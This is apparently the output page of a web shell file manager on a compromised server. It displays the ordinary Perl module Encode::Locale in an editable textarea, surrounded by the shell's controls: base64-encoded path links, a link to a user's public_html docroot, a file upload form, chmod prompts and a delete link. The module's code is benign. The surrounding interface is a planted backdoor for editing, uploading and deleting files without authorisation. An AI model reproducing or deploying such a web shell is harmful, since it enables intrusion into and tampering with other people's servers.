<hr>Locale.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU%3D&f=TG9jYWxlLnBt"><input name="f" value="Locale.pm"><textarea name="t">package Encode::Locale;

use strict;
our $VERSION = &quot;1.05&quot;;

use base &#039;Exporter&#039;;
our @EXPORT_OK = qw(
    decode_argv env
    $ENCODING_LOCALE $ENCODING_LOCALE_FS
    $ENCODING_CONSOLE_IN $ENCODING_CONSOLE_OUT
);

use Encode ();
use Encode::Alias ();

our $ENCODING_LOCALE;
our $ENCODING_LOCALE_FS;
our $ENCODING_CONSOLE_IN;
our $ENCODING_CONSOLE_OUT;

sub DEBUG () { 0 }

sub _init {
    if ($^O eq &quot;MSWin32&quot;) {
	unless ($ENCODING_LOCALE) {
	    # Try to obtain what the Windows ANSI code page is
	    eval {
		unless (defined &amp;GetACP) {
		    require Win32;
                    eval { Win32::GetACP() };
		    *GetACP = sub { &amp;Win32::GetACP } unless $@;
		}
		unless (defined &amp;GetACP) {
		    require Win32::API;
		    Win32::API-&gt;Import(&#039;kernel32&#039;, &#039;int GetACP()&#039;);
		}
		if (defined &amp;GetACP) {
		    my $cp = GetACP();
		    $ENCODING_LOCALE = &quot;cp$cp&quot; if $cp;
		}
	    };
	}

	unless ($ENCODING_CONSOLE_IN) {
            # only test one since set together
            unless (defined &amp;GetInputCP) {
                eval {
                    require Win32;
                    eval { Win32::GetConsoleCP() };
                    # manually &quot;import&quot; it since Win32-&gt;import refuses
                    *GetInputCP = sub { &amp;Win32::GetConsoleCP } unless $@;
                    *GetOutputCP = sub { &amp;Win32::GetConsoleOutputCP } unless $@;
                };
                unless (defined &amp;GetInputCP) {
                    eval {
                        # try Win32::Console module for codepage to use
                        require Win32::Console;
                        eval { Win32::Console::InputCP() };
                        *GetInputCP = sub { &amp;Win32::Console::InputCP }
                            unless $@;
                        *GetOutputCP = sub { &amp;Win32::Console::OutputCP }
                            unless $@;
                    };
                }
                unless (defined &amp;GetInputCP) {
                    # final fallback
                    *GetInputCP = *GetOutputCP = sub {
                        # another fallback that could work is:
                        # reg query HKLM\System\CurrentControlSet\Control\Nls\CodePage /v ACP
                        ((qx(chcp) || &#039;&#039;) =~ /^Active code page: (\d+)/)
                            ? $1 : ();
                    };
                }
	    }
            my $cp = GetInputCP();
            $ENCODING_CONSOLE_IN = &quot;cp$cp&quot; if $cp;
            $cp = GetOutputCP();
            $ENCODING_CONSOLE_OUT = &quot;cp$cp&quot; if $cp;
	}
    }

    unless ($ENCODING_LOCALE) {
	eval {
	    require I18N::Langinfo;
	    $ENCODING_LOCALE = I18N::Langinfo::langinfo(I18N::Langinfo::CODESET());

	    # Workaround of Encode &lt; v2.25.  The &quot;646&quot; encoding  alias was
	    # introduced in Encode-2.25, but we don&#039;t want to require that version
	    # quite yet.  Should avoid the CPAN testers failure reported from
	    # openbsd-4.7/perl-5.10.0 combo.
	    $ENCODING_LOCALE = &quot;ascii&quot; if $ENCODING_LOCALE eq &quot;646&quot;;

	    # https://rt.cpan.org/Ticket/Display.html?id=66373
	    $ENCODING_LOCALE = &quot;hp-roman8&quot; if $^O eq &quot;hpux&quot; &amp;&amp; $ENCODING_LOCALE eq &quot;roman8&quot;;
	};
	$ENCODING_LOCALE ||= $ENCODING_CONSOLE_IN;
    }

    if ($^O eq &quot;darwin&quot;) {
	$ENCODING_LOCALE_FS ||= &quot;UTF-8&quot;;
    }

    # final fallback
    $ENCODING_LOCALE ||= $^O eq &quot;MSWin32&quot; ? &quot;cp1252&quot; : &quot;UTF-8&quot;;
    $ENCODING_LOCALE_FS ||= $ENCODING_LOCALE;
    $ENCODING_CONSOLE_IN ||= $ENCODING_LOCALE;
    $ENCODING_CONSOLE_OUT ||= $ENCODING_CONSOLE_IN;

    unless (Encode::find_encoding($ENCODING_LOCALE)) {
	my $foundit;
	if (lc($ENCODING_LOCALE) eq &quot;gb18030&quot;) {
	    eval {
		require Encode::HanExtra;
	    };
	    if ($@) {
		die &quot;Need Encode::HanExtra to be installed to support locale codeset ($ENCODING_LOCALE), stopped&quot;;
	    }
	    $foundit++ if Encode::find_encoding($ENCODING_LOCALE);
	}
	die &quot;The locale codeset ($ENCODING_LOCALE) isn&#039;t one that perl can decode, stopped&quot;
	    unless $foundit;

    }

    # use Data::Dump; ddx $ENCODING_LOCALE, $ENCODING_LOCALE_FS, $ENCODING_CONSOLE_IN, $ENCODING_CONSOLE_OUT;
}

_init();
Encode::Alias::define_alias(sub {
    no strict &#039;refs&#039;;
    no warnings &#039;once&#039;;
    return ${&quot;ENCODING_&quot; . uc(shift)};
}, &quot;locale&quot;);

sub _flush_aliases {
    no strict &#039;refs&#039;;
    for my $a (keys %Encode::Alias::Alias) {
	if (defined ${&quot;ENCODING_&quot; . uc($a)}) {
	    delete $Encode::Alias::Alias{$a};
	    warn &quot;Flushed alias cache for $a&quot; if DEBUG;
	}
    }
}

sub reinit {
    $ENCODING_LOCALE = shift;
    $ENCODING_LOCALE_FS = shift;
    $ENCODING_CONSOLE_IN = $ENCODING_LOCALE;
    $ENCODING_CONSOLE_OUT = $ENCODING_LOCALE;
    _init();
    _flush_aliases();
}

sub decode_argv {
    die if defined wantarray;
    for (@ARGV) {
	$_ = Encode::decode(locale =&gt; $_, @_);
    }
}

sub env {
    my $k = Encode::encode(locale =&gt; shift);
    my $old = $ENV{$k};
    if (@_) {
	my $v = shift;
	if (defined $v) {
	    $ENV{$k} = Encode::encode(locale =&gt; $v);
	}
	else {
	    delete $ENV{$k};
	}
    }
    return Encode::decode(locale =&gt; $old) if defined wantarray;
}

1;

__END__

=head1 NAME

Encode::Locale - Determine the locale encoding

=head1 SYNOPSIS

  use Encode::Locale;
  use Encode;

  $string = decode(locale =&gt; $bytes);
  $bytes = encode(locale =&gt; $string);

  if (-t) {
      binmode(STDIN, &quot;:encoding(console_in)&quot;);
      binmode(STDOUT, &quot;:encoding(console_out)&quot;);
      binmode(STDERR, &quot;:encoding(console_out)&quot;);
  }

  # Processing file names passed in as arguments
  my $uni_filename = decode(locale =&gt; $ARGV[0]);
  open(my $fh, &quot;&lt;&quot;, encode(locale_fs =&gt; $uni_filename))
     || die &quot;Can&#039;t open &#039;$uni_filename&#039;: $!&quot;;
  binmode($fh, &quot;:encoding(locale)&quot;);
  ...

=head1 DESCRIPTION

In many applications it&#039;s wise to let Perl use Unicode for the strings it
processes.  Most of the interfaces Perl has to the outside world are still byte
based.  Programs therefore need to decode byte strings that enter the program
from the outside and encode them again on the way out.

The POSIX locale system is used to specify both the language conventions
requested by the user and the preferred character set to consume and
output.  The C&lt;Encode::Locale&gt; module looks up the charset and encoding (called
a CODESET in the locale jargon) and arranges for the L&lt;Encode&gt; module to know
this encoding under the name &quot;locale&quot;.  It means bytes obtained from the
environment can be converted to Unicode strings by calling C&lt;&lt;
Encode::encode(locale =&gt; $bytes) &gt;&gt; and converted back again with C&lt;&lt;
Encode::decode(locale =&gt; $string) &gt;&gt;.

Where file systems interfaces pass file names in and out of the program we also
need care.  The trend is for operating systems to use a fixed file encoding
that don&#039;t actually depend on the locale; and this module determines the most
appropriate encoding for file names. The L&lt;Encode&gt; module will know this
encoding under the name &quot;locale_fs&quot;.  For traditional Unix systems this will
be an alias to the same encoding as &quot;locale&quot;.

For programs running in a terminal window (called a &quot;Console&quot; on some systems)
the &quot;locale&quot; encoding is usually a good choice for what to expect as input and
output.  Some systems allows us to query the encoding set for the terminal and
C&lt;Encode::Locale&gt; will do that if available and make these encodings known
under the C&lt;Encode&gt; aliases &quot;console_in&quot; and &quot;console_out&quot;.  For systems where
we can&#039;t determine the terminal encoding these will be aliased as the same
encoding as &quot;locale&quot;.  The advice is to use &quot;console_in&quot; for input known to
come from the terminal and &quot;console_out&quot; for output to the terminal.

In addition to arranging for various Encode aliases the following functions and
variables are provided:

=over

=item decode_argv( )

=item decode_argv( Encode::FB_CROAK )

This will decode the command line arguments to perl (the C&lt;@ARGV&gt; array) in-place.

The function will by default replace characters that can&#039;t be decoded by
&quot;\x{FFFD}&quot;, the Unicode replacement character.

Any argument provided is passed as CHECK to underlying Encode::decode() call.
Pass the value C&lt;Encode::FB_CROAK&gt; to have the decoding croak if not all the
command line arguments can be decoded.  See L&lt;Encode/&quot;Handling Malformed Data&quot;&gt;
for details on other options for CHECK.

=item env( $uni_key )

=item env( $uni_key =&gt; $uni_value )

Interface to get/set environment variables.  Returns the current value as a
Unicode string. The $uni_key and $uni_value arguments are expected to be
Unicode strings as well.  Passing C&lt;undef&gt; as $uni_value deletes the
environment variable named $uni_key.

The returned value will have the characters that can&#039;t be decoded replaced by
&quot;\x{FFFD}&quot;, the Unicode replacement character.

There is no interface to request alternative CHECK behavior as for
decode_argv().  If you need that you need to call encode/decode yourself.
For example:

    my $key = Encode::encode(locale =&gt; $uni_key, Encode::FB_CROAK);
    my $uni_value = Encode::decode(locale =&gt; $ENV{$key}, Encode::FB_CROAK);

=item reinit( )

=item reinit( $encoding )

Reinitialize the encodings from the locale.  You want to call this function if
you changed anything in the environment that might influence the locale.

This function will croak if the determined encoding isn&#039;t recognized by
the Encode module.

With argument force $ENCODING_... variables to set to the given value.

=item $ENCODING_LOCALE

The encoding name determined to be suitable for the current locale.
L&lt;Encode&gt; know this encoding as &quot;locale&quot;.

=item $ENCODING_LOCALE_FS

The encoding name determined to be suitable for file system interfaces
involving file names.
L&lt;Encode&gt; know this encoding as &quot;locale_fs&quot;.

=item $ENCODING_CONSOLE_IN

=item $ENCODING_CONSOLE_OUT

The encodings to be used for reading and writing output to the a console.
L&lt;Encode&gt; know these encodings as &quot;console_in&quot; and &quot;console_out&quot;.

=back

=head1 NOTES

This table summarizes the mapping of the encodings set up
by the C&lt;Encode::Locale&gt; module:

  Encode      |         |              |
  Alias       | Windows | Mac OS X     | POSIX
  ------------+---------+--------------+------------
  locale      | ANSI    | nl_langinfo  | nl_langinfo
  locale_fs   | ANSI    | UTF-8        | nl_langinfo
  console_in  | OEM     | nl_langinfo  | nl_langinfo
  console_out | OEM     | nl_langinfo  | nl_langinfo

=head2 Windows

Windows has basically 2 sets of APIs.  A wide API (based on passing UTF-16
strings) and a byte based API based a character set called ANSI.  The
regular Perl interfaces to the OS currently only uses the ANSI APIs.
Unfortunately ANSI is not a single character set.

The encoding that corresponds to ANSI varies between different editions of
Windows.  For many western editions of Windows ANSI corresponds to CP-1252
which is a character set similar to ISO-8859-1.  Conceptually the ANSI
character set is a similar concept to the POSIX locale CODESET so this module
figures out what the ANSI code page is and make this available as
$ENCODING_LOCALE and the &quot;locale&quot; Encoding alias.

Windows systems also operate with another byte based character set.
It&#039;s called the OEM code page.  This is the encoding that the Console
takes as input and output.  It&#039;s common for the OEM code page to
differ from the ANSI code page.

=head2 Mac OS X

On Mac OS X the file system encoding is always UTF-8 while the locale
can otherwise be set up as normal for POSIX systems.

File names on Mac OS X will at the OS-level be converted to
NFD-form.  A file created by passing a NFC-filename will come
in NFD-form from readdir().  See L&lt;Unicode::Normalize&gt; for details
of NFD/NFC.

Actually, Apple does not follow the Unicode NFD standard since not all
character ranges are decomposed.  The claim is that this avoids problems with
round trip conversions from old Mac text encodings.  See L&lt;Encode::UTF8Mac&gt; for
details.

=head2 POSIX (Linux and other Unixes)

File systems might vary in what encoding is to be used for
filenames.  Since this module has no way to actually figure out
what the is correct it goes with the best guess which is to
assume filenames are encoding according to the current locale.
Users are advised to always specify UTF-8 as the locale charset.

=head1 SEE ALSO

L&lt;I18N::Langinfo&gt;, L&lt;Encode&gt;, L&lt;Term::Encoding&gt;

=head1 AUTHOR

Copyright 2010 Gisle Aas &lt;gisle@aas.no&gt;.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /usr/share/perl5/vendor_perl/Encode<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>23</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU=&x=TG9jYWxlLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU=&f=TG9jYWxlLnBt"/>Locale.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9FbmNvZGU=&f=TG9jYWxlLnBt&c=`+btoa(c):0" value="0644"></td><td>12353</td></tr></table>